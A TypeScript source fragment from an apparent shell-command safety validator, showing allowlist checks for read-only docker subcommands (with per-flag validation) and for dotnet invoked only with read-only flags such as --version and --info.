// have no flag constraints β allow unconditionally (after $ guard above).
if (EXTERNAL_READONLY_COMMANDS.includes(oneWordKey)) {
return true
}
// DOCKER_READ_ONLY_COMMANDS entries ('docker logs', 'docker inspect') have
// per-flag configs. Mirrors isGhSafe: look up config, then validateFlags.
const config: ExternalCommandConfig | undefined =
DOCKER_READ_ONLY_COMMANDS[oneWordKey]
if (!config) {
return false
}
const flagArgs = args.slice(1)
if (
config.additionalCommandIsDangerousCallback &&
config.additionalCommandIsDangerousCallback('', flagArgs)
) {
return false
}
return validateFlags(flagArgs, 0, config)
}
function isDotnetSafe(args: string[]): boolean {
if (args.length === 0) {
return false
}
// dotnet uses top-level flags like --version, --info, --list-runtimes
// All args must be in the safe set
for (const arg of args) {
if (!DOTNET_READ_ONLY_FLAGS.has(arg.toLowerCase())) {
return false
}
}
return true
}
|